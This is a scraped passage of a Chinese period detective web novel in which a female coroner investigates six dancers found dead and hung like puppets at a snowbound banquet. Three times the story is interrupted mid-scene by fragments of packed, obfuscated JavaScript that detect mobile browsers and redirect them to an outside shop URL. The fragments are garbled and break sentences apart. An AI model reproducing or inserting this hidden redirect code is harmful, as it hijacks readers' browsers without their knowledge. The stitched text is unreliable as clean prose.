《女仵作之欢喜冤缘》 1. 百蝶振翅 安业十八年,十一月初八,天赦日。 诸恶皆赦,百无禁忌。 京郊,无月无星,夜色深沉,黑暗之中,只看得见一条条连绵的雪线起起伏伏。 唯有山巅之上,明亮如昼,一个山庄占满了整个山顶。 山庄中心,坐落着一座精巧的戏台,琉璃瓦朱漆柱,四周吊垂的六角宫灯照得台子金光闪闪。 台上,六名舞女身着各色轻纱在台上起舞,背后垂着一幅巨大的水墨春花图。 乍一看,如同蝴蝶翩翩起舞于花丛之中,阴沉雪夜都被衬出几分春意。 即使座下都是见过大世面的达官贵人看了这舞也不由拍掌叫好。 坐在最前方中央的山庄主人见此十分自得,圆圆的双眼笑成了两条缝。 可唯独自己身侧的青年男子还是如同平常一般,静静坐着,似一座冷白玉雕。 “郑六郎。”他斜身靠近,语气亲密,“怎么?这舞不合你的心意?” 郑观澜纹丝未动,只眼珠子稍稍往那人身上一瞥。 “尚可。” 十足冷淡。 主人知道他的性子,也不恼,朝着台上一指。 “你且等等。” 话音方落。 戏台边缘的栏杆向外一倒,五根一组紧紧闭合,如同花瓣一般。从下方看去,整个戏台变成了一朵莲花状。 几名舞女也改变了动作,忽的转起圈儿来,飞旋在一处。 轻纱如云一般,恍惚之间,她们的身影已经消失在一团乱纱之中。 台上,空了。 乐声骤停,戏台的烛火随之熄灭,众人一愣,不由屏息看去。 春花图后缓缓亮起光,图上被照出几个蝴蝶状的影子,正正好停在画上的花朵之上。影子微微颤动着,像极了蝴蝶扑翅之姿。 乐声再度响起。 “好!” 叫好声中,主人脸上笑意加深。 “郑六郎,这舞如何?” 郑观澜眉头皱了一下,随手端起茶浅啜一口。 虽有意境,可动作僵硬,死气沉沉,还不如方才的舞呢。 “不错。” 得了他的亲口称赞,主人这才坐正。 正在此时,一道银光从后飞来,直冲戏台而去。 刺啦—— 一声刺耳的布帛撕裂之声响起,天上忽的落下大片大片的雪,雪花糊住人眼,让人不由眨了眨眼睛。 就是这瞬息之间。 待人再次睁眼时,那一幅巨大的春花图已经落下。 戏台上,六名女子以一种诡异扭曲的姿态被吊着上上下下移动,像是被提着线摆弄的木偶。 她们扭着头,亮晶晶的双眼睁得大大的,盯着下面的看客,仿佛在祈求,在诉说。 “啊——” 艺人们手上乐器落地,尖叫出声。 豪贵们一下乱了方寸,有的大喊,有的起身欲逃,桌翻椅倒,酒食洒落一地。 混乱之中,一个黑色的身影卷挟着风雪疾驰奔上台。 “都愣着干什么?!”人影转过头,厉声怒斥,“还不快过来帮忙!” 那人竟是个女子。 背着一个黑漆木箱,脊背打得笔直,一双星眸生得黝黑鲜亮,眼神异常锐利,透着一股子倔强。 此刻的她双目喷火,一看就是不好招惹的模样。 郑观澜喃喃道:“这人是?” “大理寺,闻蝉。” 回答他的中年男子有条细长细长的鼻子,穿着一身不伦不类的湘绯色衣裳,笑容古怪,紧紧盯着闻蝉,眼里闪着幽光,意味不明。 郑观澜眼珠微微颤动。 那个闻……蝉?竟是这个模样? 闻蝉捡起自己方才扔出去的飞刀,割断捆在女子身上的细索,又指挥几个护卫帮着她将人放了下来。 做完这一切,她蹲在一名女子面前,将她脸上的面纱扯掉,伸出食指和中指,轻轻按在女子颈侧。 触感柔软,却没有丝毫跳动。 她收回手,暗自咬牙,又用同样的办法检查完另外五名女子。 无一例外。 衣着完整,漂亮的面孔上还带着精致的妆容,依旧粉面桃花。 她缓缓垂下手,宣布了结果。 “都死了。” “不需要试鼻息吗?” 闻蝉下意识回答道:“呼吸很微弱的情况下,手指是无法感觉到呼吸的。” “那为何要按住她们的脖颈?” “什么脖颈?那是人迎脉,阳者知病处,阴者决死生。”闻蝉有些不耐烦,站起身,看向声音来处。 是个穿着靛蓝色锦袍的青年郎君,容貌丰神俊朗,气质高华,神态是讨人厌的倨傲。 能和这些人混在一起,想必也不是什么好东西。 闻蝉上下打量了他一眼,心里那点刻薄的揣测被夹带在话中。 “你不知晓?” 郑观澜向来以博学闻名,此刻被一个仵作这样嘲讽,脸上有些挂不住,原本还算温和的表情一下冷淡下来。 “你一个仵作,问你话就老老实实回话,不知道规矩吗!”一直在郑观澜身侧的年轻郎君出声斥责,语气十分不客气。 闻蝉扯了扯嘴角,咧开嘴笑了一下,胡乱做了个揖。 “原来二位也是我们大理寺的上官啊?怎的卑职没有见过二位呢?” “你竟敢讽刺我们?!”那年轻郎君没想到一个小小的仵作竟然敢说到他们世家头上,飞扬的眉眼满是怒火。 “闻娘子。”穿着粉衣的中年男子走来,站在三人中间,温言解围,“这位是中书令家的侄子郑六郎郑观澜,这位是颜左丞家的颜九郎颜子光,二位都年龄尚幼,过完年才参加春闱呢。” 闻蝉深深看了那人一眼,语气缓和了些。 “原来如此。” 李成芳又朝着郑颜二人说道:“闻仵作是个直爽人,并无嘲讽之意,颜九郎定然是误会了。” 颜子光扭过头,没再开口。 这个李成芳,看着就流里流气的,就连官职也只是个五品散官。却能让小霸王似的颜子光和不讲人情的郑观澜给他几分薄面,无非是因为其家世。 他的姑母是皇帝的亲生母亲,论起来,他可是皇帝的亲表弟。 “明明就是你先说闻姐姐的!”一个圆脸小娘子急匆匆跑过来,脸颊红扑扑的,她指着颜子光说道,“你该给她道歉呢!” “宝应!”郑观澜挡在颜子光面前,语气重了些,“你怎能对九郎如此无礼?他也算是你的哥哥!” 宝应扭头:“表哥不讲理!” 郑观澜的母亲是已经去世的老鲁王的女儿,宝应县主是现在的鲁王之女,郑观澜亲舅舅的女儿,自五岁就到了郑家生活。 在郑观澜眼里,宝应如同他的亲妹妹一般。 他早知道自己家单纯的表妹几月前就和这个不知深浅的闻蝉有了交道,每日里闻姐姐长闻姐姐短,说尽了闻蝉的事。 当时他就忧心表妹又被他人算计,如今一看……这个闻蝉还真是会惑人心智,让他表妹连亲疏都不分了! “县主。”闻蝉说道,“这里乱糟糟的,又在下雪,你先回房休息吧。” 宝应仰着头看着台上的闻蝉。 “闻姐姐,你不是很忙吗?之前我叫你一起你都不来,怎么突然来这里啦?” 闻蝉对她的态度格外温和。 “等会儿有空和你说。” “那好吧,我听你的。”宝应乖乖答应,绕过自家表哥瞪了一眼其背后的颜子光,目光满是警告。 郑观澜一步跨到二人之间挡住。 “宝应,快回去。” 宝应“哼”了一声,又对着闻蝉点点头才离开。 山庄的主人这时才被两个仆从一左一右扶着走过来。 他明显被吓得不轻,敦厚的脸发着白,然而,即使这样他还堆着笑。 “闻仵作,这些……人……到底是怎么回事?” 闻蝉认识他。 裴籍,齐国公长子。 传闻中就是个普通的无能的纨绔,不做坏事也没什么本事,但是仗着他那军功赫赫的爹,一直活得十分滋润。 “死因暂时不明,尸体有些古怪。裴郎君,这几人都是你府上的舞女吗?” 裴籍望向身侧的管事。 管事明了,大着胆子踮起脚,看了几眼那尸体才回答道:“是,都是山庄里养的舞女。” 熟悉的人一夜之间成了尸体,死状还如此诡异,他有些惊魂未定,搓了搓手。 “按照计划,这几人应该是吊着绸缎在画后面跳舞,鄙人也不知怎会成了这样。” 裴籍摆手:“正好闻仵作也在,就劳烦你把尸体带下山吧。有贵司的蔡少卿在,想必很快能查清真相。” 众人齐齐看向闻蝉。 闻蝉挑眉,嘴角微微勾起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779651|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我方才正是从下山的地方过来……” 一股风刮起呼啸之声。 面上顿时一凉,连带脑子都清醒了几分,郑观澜心头猛的一跳,顿觉不妙。 闻蝉的声音被卷在风里,有些许模糊,但是足够人听清。 “下山的路,断了。” “不可能!”管事头一个跳脚,激动得双手乱比划,“我昨日才检查过的!下山的索桥栈道都完好无损!” 闻蝉很不想搭理这些人,蹲下身,把吊着人的细索捆成团收好。 “我还蒙你不成?” 郑观澜稳住心神,环视一圈,这看来看去现场就一个聪明人。 他对着闻蝉问道:“可是因为下山道路有人为破坏的痕迹,闻仵作才来了山庄?” 闻蝉这才回头认真看了他一眼。 不傻嘛。看来这传言中郑家未来的接班人确实和普通的酒囊饭袋不太一样。 “确实如此。我方才走到索桥的时候,索桥已经断掉。固定绳索的木柱上还残留了一截绳索,断处十分齐整,明显是被人用利器割断的,是以我才折返。” 听了她这话,郑观澜心中越发迷惑。 而在场的人都躁动了起来。 “不能下山?” “是有人要做什么?” “会不会和这凶案有关?” 人声如沸。 裴籍也顾不得安抚客人,走上戏台,放低姿态站在闻蝉身边小声询问。 “闻仵作,那你可看出这几人是为何而死?” 闻蝉手下动作一顿。 “从死者的眼瞳来看,死亡时间怎么也超过了三个时辰,但是尸体摸起来却异常柔软,没有出现尸僵。尸体上没有任何致命伤口,只有在她们的手腕脚腕脖颈处有被细索勒出的伤,这些伤口的创口处皮肉都没有收缩,全是死后伤。” “那定然是被毒死的!”裴籍大呼。 闻蝉转回头,斜着眼睛瞥了他一眼。 “目前来看,并没有中毒的迹象,不能这样妄下断论。” 此时,郑观澜又问道:“从眼瞳能看出死亡的时间?” 因着见了李成芳等人,闻蝉此刻觉得面前这人都顺眼了几分,她也耐着性子回答。 “黑睛,说简单些就是人的眼珠子最外面那一层。人死后,黑睛会变混浊,三个时辰左右就会出现轻度的白斑,十个时辰左右就会变成云雾状,两日后就会完全混浊。”她伸手轻轻合上死者的眼睛,面露怜惜。 多漂亮的姑娘啊。 “鉴于尸体没有出现尸僵,凶手应当用了特殊手段处理尸体,死者的死亡时间不能完全确认,只能确定在三个时辰前,也就是至少今日午时左右,死者就已经死亡。至于其他,我需要对尸体进行进一步的检验。” 除去郑观澜听得认真,其余的人都觉得心里有些发怵,一时沉默了下来。 闻蝉早已习惯。 平日里,她验尸的时候是不会和其他无关之人多说话的,若非今日郑观澜主动搭话,她定然不会开口。 这些人的反应也在意料之中。 她并未催促,反而就地盘起腿,从箱子里拿出针线,缝合起了尸体的身上的伤口。 那吊着尸体的细索十分奇特,极其细,又如同铁制一般坚硬,将死者身上勒出一道道极深极细的口子。 听说人死时的伤口不缝合好,会变成下一世的胎记。 这么漂亮年轻的姑娘,可不能让她们下辈子带着这样难看的胎记。 闻蝉做惯了这样的事,十分气定神闲,针起针落,像是在绣花一般。 裴籍看得额头冒汗。 这女人真是越看越邪门儿。 “连你都验不出什么结果,定然是悬案了,那……不如把人埋了?” 他虽瞧不起闻蝉的仵作身份,可也听说过这人的本事。 就是对着一堆碎肉,她都能说出个子丑寅卯来!这些年来,大理寺破的案子十个有九个都有她的影子。 闻蝉没有回答,收好最后一针,拿出一把小剪子将线剪断,又捧着尸体的手腕仔细看了看,像是验货的古董商人一样仔细。 手腕上的皮肉被缝合得十分完美,几乎看不出伤口的存在。 她这才满意地收好针线。 “阿蝉?”李成芳以为她没有听见,唤了一声。 闻蝉侧过头,冲着他们笑了一下。 “你们都认为凶手会就此罢手?” 2. 龙门大宴 “若凶手只是要杀这几人,完全没有必要将下山的路截断。”郑观澜虽对闻蝉不喜,却不得不承认她的想法没有错。 裴籍本是瞧不起闻蝉一个女仵作的,自然没把她的话放在眼里,可见郑观澜开口,他的态度就有些摇摆不定了。 “只是……我这龙门宴是专门挑的好日子,不能耽搁呀!”他拍着腿,十分心急。 好一个宴会,还没有六条人命重要! 闻蝉气极,尽力转开视线。 管事说道:“也不怪郎君为难。这龙门宴本是从这些贱籍中挑选出有才华的人,再为他们脱去贱籍。为了图个好彩头,年年都是挑着天赦日这样的好日子开宴。今儿出了这样的事,若是再停了宴会,这龙门宴办不成,得有多少人失了脱籍的机会呀。” 闻蝉眼神转回,落在裴籍脸上,嘴角挑起一个笑,掐着嗓子说道:“裴郎君真是个大善人呐,若是我能早日遇到裴郎君,也不至于到现在还做这活计了呢。” 这算得上是明嘲了,却让人挑不出半分的错处。 裴籍脸上的温厚消失,圆圆的双眼眯成一条缝。 “来人,将她……” 李成芳急忙按住裴籍。 “裴兄莫急!裴兄!闻娘子说得也有几分理,若那凶手就潜伏在人群之中,确实让人心中不安呐!今日来者,还有柳郎中与文安郡公等诸位贵客,要真出了什么意外,你我,都担待不起。” 要脱籍,就离不开户部的都官司。 这龙门宴,本就年年有都官司郎中柳中庭在,今年又新请了郑颜等世家子弟,还有皇帝的亲侄子文安郡公,其中任何一个人出了事,他都得吃挂落! 裴籍迅速冷静了下来,脸上的笑意瞬间又浮上。 “李老弟,你可有什么章程?” 李成芳一指闻蝉。 “我早就听蔡少卿提起过,闻娘子不仅验尸厉害,还颇有断案追凶之能。不如让闻娘子先查着,或许就能找出凶手?就算查不出,也能让凶手有所顾忌。至于这宴会嘛,我们照常办下去就是,两不耽误。你看如何?” 裴籍想了想,点头:“就依李老弟所言吧!” 事情敲定,作为主角的闻蝉却忽然背起箱子,单手撑地,纵身一跃跳下戏台,默不作声地大步离去。 李成芳急忙喊道:“阿蝉,你这是去做什么?不验尸啦?” 闻蝉脚步未停:“让人把尸体找个房间放着。” “真是……真是如同传言中一般,是个石头一样的臭脾气!和那个蔡真一模一样!”裴籍很是不满地撇嘴,“连个礼都不行,就这样走了?” 李成芳为闻蝉解释道:“这孩子应当只是为了案子着急,这才忘了礼数,裴兄难道要和一个小娘子计较吗?” 裴籍无奈摇头,语气带着几分埋怨:“你倒是处处为她说话。” 李成芳耸耸肩:“好歹和她母亲也算是有过一段情分,这孩子如今无父无母孤苦无依,我怎么也该照拂一二。” 裴籍想起那些传闻,拍了拍他的肩膀,挤了挤眼睛。 “你啊,就是太多情呐!” “你就别揶揄我了,快让你家管事跟上去帮忙吧!阿蝉在这儿谁都不认识,待会儿出了事就不好了。” 郑观澜侧耳仔仔细细听完,看着闻蝉即将消失的背影,提脚一转从小路绕过悄悄跟了上去。 管事很快追上了闻蝉。 闻蝉却脚步飞快,半点都不肯停留,冒着风雪一股脑向前冲。 管事只得惨兮兮地喊道:“闻娘子!闻娘子!您等等我这个老头子啊!” 果然,闻蝉停下了脚步。 她转过头。 “管事,您今年不到五十吧?” 管事嘿嘿一笑,几步追上去,有些狼狈。 “对于你这个才十几岁的小娘子来说,我算老头子吧?” 闻蝉噗嗤笑出来:“您又不是不知道,我都二十五了,您也真会说笑。” 管事见她笑了才放下心。 “看上去十五呢!” “得了,您就别逗我了,我这气又不是冲着您来的。” “这些人就是这样,人皮兜着豺狼心,不把人命放眼里的,为他们生半分气都是不值当的。” “听您的,我不气了。”闻蝉哈出一口白气,搓了搓冻红的手,“带我先去验验尸吧。” 管事带着她朝右拐去。 “我就知道你是赌气呢,不会真忘了正事。” 闻蝉有些不好意思:“是我性子急。您家阿姐腿脚可好些了?” “过完年就能走动了。幸亏那晚遇见你了,不然我家阿姐都六十多的年纪,那一摔还真得出人命。” “都是家乡人,不说这些。”闻蝉玩笑道,“要不是认出她老人家是老邻居,我也不敢扶呢。” 管事笑得打了个哈哈。 “你们官府的人也怕被讹?说来,你今日怎么有空到这山上来了?我记得你平日里最忙不过,这又是年底,你们大理寺应当是忙得脚不着地啊。” “来办点事。” 山顶上风刮得呼呼响,将闻蝉的声音盖住了些许,管事没听太清,下意识回问道:“事?” 闻蝉语焉不详:“为了三件事,一件半公半私,两件公事。” 此时,风雪已停,管事也听清了这话里的回避之意,连忙停下话头,干巴巴笑了一声。 “你们大理寺就是忙啊!” 脚下的小路到了尽头,一个小院子出现在眼前,闻蝉停下脚步:“我还未问过,这龙门宴究竟是怎么回事?今日又是怎么出的事?” 管事笑意收敛。 “我之前说的并非是假。十五年前,裴籍就和柳中庭一起开始办这宴会,或许是为了博个好名声吧?今日这事儿也确实古怪。我看过她们之前排演的舞,应当是用那种极透的纱吊着人的腰,在画布后跳舞,下方那些能够上下移动的柱子是帮助她们借力腾起的。今儿刚出来的时候,我心里就犯嘀咕,怎么半点不见那纱的影子,人影还和蝴蝶一模一样……”他拍了拍心口,“跟那鬼怪话本里似的,真吓人。” “所以,每年在宴会上的乐人舞女都有机会凭借他们的才华脱籍?” “是。不仅只是歌舞,还有其他的,我也是头一回来,不甚清楚。只依稀记得府里的人说过,还有什么射箭打猎?” “也就是说,不是每个人都能脱籍,名额只有一部分,需要他们自己去争。” “正是。脱籍并非易事,若非齐国公府势大,再加上柳郎中相助,就那么几个名额都没有呢。” 闻蝉点点头:“我明白了。” 尸体已经被一字排开,放得整整齐齐,上面严严实实盖着白布,屋内烛火通明。 抬尸体的几个大汉都缩在门口,也不管外头有多冷。 闻蝉很是无言。 有这么吓人吗? 这尸体又不狰狞,还这么完整,除去死状诡异一点,一点都算不上可怖。 她也不管这些人怎么想,从验尸箱中拿出面巾和手衣戴好,又穿上罩衣。 “管事,劳烦您帮我拿一盆热水和帕子来,还有皂角水和热糟醋。” 管事急忙让人去办。 下面的人办事还算利索,不过片刻就端着几个铜盆木桶进来了。 那几人放下东西撒腿就跑,只有管事胆子大,在旁边帮忙端着热水打下手。 “闻娘子,这是要先做什么?” 闻蝉将白色帕子浸入冒着热气的水中打湿。 “你见过她们平日里跳舞时画的妆吗?” 管事扫了一眼尸体,每一具尸体上的妆容已经有些斑驳。 “见过,和这个模样一样的。” 闻蝉拧了拧帕子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779652|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她们平日里会提前多久上妆?” “一个时辰左右,太早妆会花。” 闻蝉俯下身,用手帕将尸体脸上的妆容一点点擦干净,又特意闻了闻那脂粉的气味。 尸体本来的面貌露出,青白灰的脸庞和嘴唇,满是死气。 “看来,这妆很有可能是凶手给她们画的。” 管事脑子还是反应很快的。 “你说得对,她们是三个时辰前死的,若是这妆画早了,老早就花了。” 闻蝉捏住舞衣的衣带:“衣带打结手法都不一样,衣裳应当还是她们自己穿上去的。麻烦你把她们认识的人集合起来,我等会儿要问话。” 外面的护卫探头道:“其余的舞女都吓坏了,有几个甚至晕了过去,到现在还在大夫那儿扎针呢,今日怕是不能问话了。” 闻蝉也不勉强:“那就明日问。” 她拿出一根银钗,放入皂角水中清洗了片刻才拿出,又将银钗放入死者口中。接着又用帕子蘸着热糟醋,按在死者的肚子下半部分反复向上推。 管事还是头一回见这样验毒的,问道:“不是用银钗探一探就知道中毒与否吗?” 闻蝉推了数次后才停下手。 “若是服毒时间久,毒气会淤积在脏腑深处。用热糟醋敷洗才能让毒气被压出来。” 她喘了口气。 今日忙了一日,又出了这么大气力,她确实有些累了。 等了一刻钟,闻蝉才将银钗取出。 银钗的尖端已经变成青黑色。 管事激动得不行,连连喊道:“是中毒!是中毒!” 闻蝉却很冷静,将银钗放入皂角水中再次清洗,又用布一擦。 青黑色瞬间消失。 “不是毒。” 管事讶异:“银钗变黑不就是中毒吗?” “尸体腐烂产生的尸毒也会让银钗变色,只有银钗被皂角水清洗后还是青黑色才能判定中毒。” 管事皱起脸:“不是中毒,也没有外伤,那人怎么死的?” 门口的传来一个怯怯的声音。 管事……还有件事儿没向您禀告。” “什么事?” “和这尸体有些关系。” 管事急了:“还不快说!” 护卫挤进来,背对着尸体说道:“我们刚刚抬完尸体,就有人来收拾那地上的绸布杂物,才看见那绸布下的地面上被人写了一个大大‘黑’字。” “黑?” 门外骤然响起另外一个男声。 “老二不识字,从来只认半边!是墨!纸墨笔砚的墨!” “墨?” 护卫说的没有假。 戏台地面的确有一个大大的“墨”字,就在那些女子被吊起的下方,只是方才地面都覆着地毯,这才看不见。 闻蝉站在戏台上,低头看着,久久不语。 戏台上,有几个仆人来来往往。 忽然,闻蝉被人撞了一下。 眨眼之间,她的手里就被塞入了一个纸团。 她左右看了看,才走到角落里,将纸团打开。 刚刚看清纸条的内容,背后就响起一阵脚步声,她立即握住纸条,往袖子里缩了缩手。 管事上前道:“闻娘子,已经让人问过了,这东西之前一直没有,也不是鲁大师设计上去的,应该就是凶手干的。” 闻蝉揉了揉酸痛的眼睛。 “行,我知道了。” 见她背都弓着,管事也知她累了,主动说道:“今儿也晚了,不如你先去休息?我给你安排好了房间,就在宝应县主隔壁。明日再慢慢查吧。” 闻蝉捏着纸条的拳头紧了紧。 “您给我指个位置,等会儿我就去。” “怎么?您这大晚上的还要散散心啊?” 闻蝉笑了笑:“是啊,是要散心。” 3. 雪月私会 圆月露出一半的面孔,倾洒下白光,照亮了黑黝黝的树林边缘。 刚刚积起的雪还是松软的,踩上去还会发出“沙沙”的声音。 柔和的月光,清冷的雪,白衣男子站立在前方,周身被渡上一层雾蒙蒙的白光,似来引渡凡人的仙使一般。 闻蝉停下脚步,深深吸了一口冷气,朝着背影轻轻唤道:“六郎。” 白衣男子飞快转过身,露出一张俊雅似仙的脸。 “阿蝉,你来了!”他急跨出几步,走到闻蝉面前,笑得双眼弯弯,甜蜜极了,“我等了你许久。” 闻蝉主动捧起他的双手。 “好冰!是我不好,让你久等了。” 隐隐带着傲气的脸上满是心疼,就连那双总是挑得高高的眉都柔顺地垂着。 王子仪心里涌上一股前所未有的满足。 他不由抚上闻蝉的眉:“我是男子,冷不着的。” 闻蝉浑身一颤,理着鬓角,微微侧过头,像是害羞一般躲开了他的触碰。 手下一空,王子仪讪讪收回手。 他清了清嗓子。 “你的事情办得如何了?” 闻蝉这才抬起头:“有些麻烦,不过我早就给大理寺的同僚发了信号,等他们来了就好。” “裴庄主也传了消息下山,不过几日,路就能打通。不说这些让你烦恼的事。”王子仪垂着头,姿态算得上卑下,“你这次来就是为了找我吧?这龙门宴很是有意思,这几日你就好好和我一起玩儿,不去想那些恼人的公事。” “和你吗?”闻蝉咬了咬嘴唇,双目黯淡,“你终究是宝应的未婚夫。” 王子仪一下急红了脸:“我根本就不喜欢她!那婚事不过是长辈们提了几嘴,八字还没一撇呢,怎么能算未婚夫?我喜欢的是你,从来都是你。” 闻蝉嘴角微微抽搐了两下,她连忙抬手遮住。 “我信你。” 那发颤的声音像是带着钩子一样,王子仪只觉得身子都木了半边。 “你信我,我一定会娶你的,你放心,等我爹回来……” 闻蝉伸出食指按住他的嘴唇。 “我不奢求这些,你是世家子,我不过是个仵作,良贱不婚。只要你心里有我就足够了。” “阿蝉……”王子仪心中颤动,忍不住伸手抱住她,“你这样让我心疼。” 闻蝉深吸一口气,咬紧牙关,尽量将其缓缓推开。 “阿蝉?”王子仪有些懵,双手空落落抬着,“你……” 像是没有察觉他的尴尬似的,闻蝉一脸淡然地问道:“你今日是让谁来给我递的条子呀?是你新换的小厮吗?” “不是,是一个……”王子仪回过神,却正好撞上对方那清凌凌的眼。 这双眼睛总给他一种被看透的感觉,他不由转开视线。 “是山庄的一个小厮。” 闻蝉皱眉,一脸担忧:“他不会把事情说出去吧?” “不会,不会的!”王子仪连连摆手,语气十分肯定,“那人很可靠。” 闻蝉眼神闪了闪,没有再追问:“那就好。时辰不早了,你也该回去了。” “我送你……” 闻蝉摆摆手:“我住在宝应隔壁呢,不太好吧。” 王子仪喉咙动了动:“那……那你自己小心。” “嗯。”闻蝉冲着他一笑,抬手拂过他的手背,“我先走了。你得答应我,不能和旁人亲近。” 王子仪最吃这一套,被哄得迷迷糊糊的,只知道点头。 “你真好。”闻蝉点了点他的鼻子,笑得格外灿烂。 然而,一背过身,她脸上的笑意瞬间消失,取而代之的是无法掩饰的嫌恶。 得亏没吃饭,不然她当场就得吐出来! 路上的积雪逐渐变薄,没了雪垫脚,脚步声从嘈杂变得清晰起来,客院已经近在眼前。 嚓,嚓。 像是什么东西摩擦的声音从背后传来,闻蝉忽然顿住脚步,按住了腰间的匕首。 “什么人!”一把飞刀朝着身后的树丛飞去。 树丛上的雪抖落一地。 叮—— 飞刀被打偏,落在地上。 闻蝉抽出匕首,对准树丛,后跨一步,弓起背,做出防御姿态。 “出来!” 沉默持续了片刻,郑观澜提着剑从树丛后走了出来。 闻蝉僵硬了一瞬。 “郑……” 这人叫什么来着? “郑观澜。”郑观澜面色极难看,阴沉得像是能滴出水来,眼中满是敌意。 闻蝉心中一紧。 难道那个人是他?! 她不由握紧了匕首,刀尖向前送了送。 “你跟踪我做什么?” “若非亲眼所见,确实无法相信这世上竟有如此两面三刀之人。” 闻蝉用匕首指着他:“你这是何意?” 想到方才所见,郑观澜就觉得心里堵得慌。 “宝应真诚待你,你却和王子仪……”他从小就是好教养,对着一个女子,他说不出过于难听的话,“狼狈为奸!你对得起宝应对你的一片真心吗!” 被说破方才之事,闻蝉却松了口气,收回匕首。 “就为了这个?” 对方如此云淡风轻,郑观澜愈发恼火。 “什么叫就为了这个?!难道你不为自己的所作所为感到羞耻吗!” 闻蝉拍了拍衣角,也不再隐瞒。 “此人和一起案子有牵扯,我是为公才接近他。郑郎君误会了。” 一朝被蛇咬,十年怕井绳。 郑观澜不依不饶。 “什么案子?” 闻蝉不愿多透露,扔下一句“郑郎君并非大理寺之人”,转身就要离开。 情急之下,郑观澜一把抓住了她的袖子。 “你不说清楚,谁知道你嘴里的是实话还是假话?!” 这个闻蝉,出身微贱,却能以仵作之身在大理寺混得风生水起,还让蔡少卿护国公都待其如同子侄,心思定然深沉。 如今,她与宝应有了牵扯,不查个清楚,他是绝对不放心的。 闻蝉一下来了脾气,反手一把推开他。 “扯你先人!” 她的个头本就不小,打小习武还做活,力气相当大,哪怕是郑观澜这样的大个子也被推得一个趔趄。 活了二十多年,郑观澜头一回遇到这样对他的人,一时愣住。 闻蝉蔑了他一眼:“缘由我都说了,你自己不信和我没关系。有那个心就看好你妹妹,别次次都给她找些脏的臭的。”她啧了一声,“什么眼光。” “王子仪即使是个小人,可他出身王氏,怎么可能和什么案子有牵扯?”郑观澜双颊还带着气恼的红晕。 “哟~”闻蝉拊掌,“这每年贪墨受贿进大牢的人里头九成九不都是你们世家子弟么?” 这话也不假,郑观澜语塞,想了想才说道:“王子仪并未入仕,你何必攀扯其他?” 见他咬死不放,为免影响查案,闻蝉也只好如实说道:“你可知平康坊这段时日发生的案子?” “平康坊?”郑观澜微微皱起眉,语带不屑,“那种脏污地方,发生什么案子都是常理。” “前后有十八名女子被贼人侮辱。” “这事……和王子仪有关?” “是。大理寺已经查过,同时和那十八名女子有过接触的只有他。与此同时,还有几名和他有联系的世家女也遭遇毒手。” 郑观澜有些迟疑:“我从未听说过此事。” “在你们眼里青楼女子如同尘埃,世家重视名声更不会将这样的事情宣之于众。你,自然不知晓。”闻蝉有些烦躁,提脚就走,“好了,该说的我都说了,希望郑郎君能守口如瓶,不要妨碍我们办差。” “等等!”郑观澜叫住她,“王子仪有个好皮囊也不缺钱,若要……他至少没必要强行对那些青楼女子做什么。” 闻蝉定定看着他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779653|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “若无证据,我不会冤枉人。” “那证据呢?” “你要看证据?” 郑观澜点头:“是,证据,我不信你为人。” 闻蝉冲着他翻了个标准的大白眼。 “你……你一个女子……怎么如此不注重仪态?!”郑观澜骇然。 闻蝉嘴巴哪里有饶人的时候。 “我没有仪态,我去扯别人袖子?” “你……你……你顾左右而言他!”郑观澜发现这女人简直可怕得很。 有错都能辩出三分理来,不知不觉就会被她牵着鼻子走! “今日,你若不说清楚,我是不会罢休的。”他郑重道。 闻蝉叹出一口气。 这些世家子果然各有各的讨厌! 她拽起郑观澜的袖子向前走,气得几乎说不出话。 “好,好!” 郑观澜被拽得蹒跚几步:“你要做甚!” 闻蝉停下脚步,回头冷冷道:“你不是要看证据吗?我带你去看啊。” “扯袖子。”郑观澜半举起手示意她。 闻蝉嘀咕着:“小心眼儿。”手上还是已经松开。 “我是怕你走路太慢,跟不上。” 郑观澜好不容易占了上风,自然不愿意放过:“一定得扯袖子吗?” 闻蝉本就是好胜心极强的人,哪里甘愿被他压一头,哪怕是嘴上便宜也不行! 余光瞟见的验尸箱给了她灵感。 “确实有其他的法子。” 她眯眼一笑,取下验尸箱,直接将上面的背带套在郑观澜脖子上,用手一拽,像是…… 郑观澜瞪大了眼:“你把我当狗吗?!” 哎呀被发现啦~ 闻蝉眨眨眼,手上却一拽:“你想太多。” 郑观澜脸羞得通红,又不敢去撕扯她:“你快放开!” 闻蝉全当没听见,拽着背带阔步向前走去。 装潢讲究的房内空无一人,闻蝉长驱直入,径直朝着右侧的床走去。 郑观澜顾不得颜面,蹲下身,从那套在脖子上的系带下逃出来。 “这是谁的房间?” 闻蝉把箱子背好:“王子仪的呗。” 她走到床前蹲下身,伸手在床下掏出一堆脂粉盒子,仔细一数,正好是十八个。 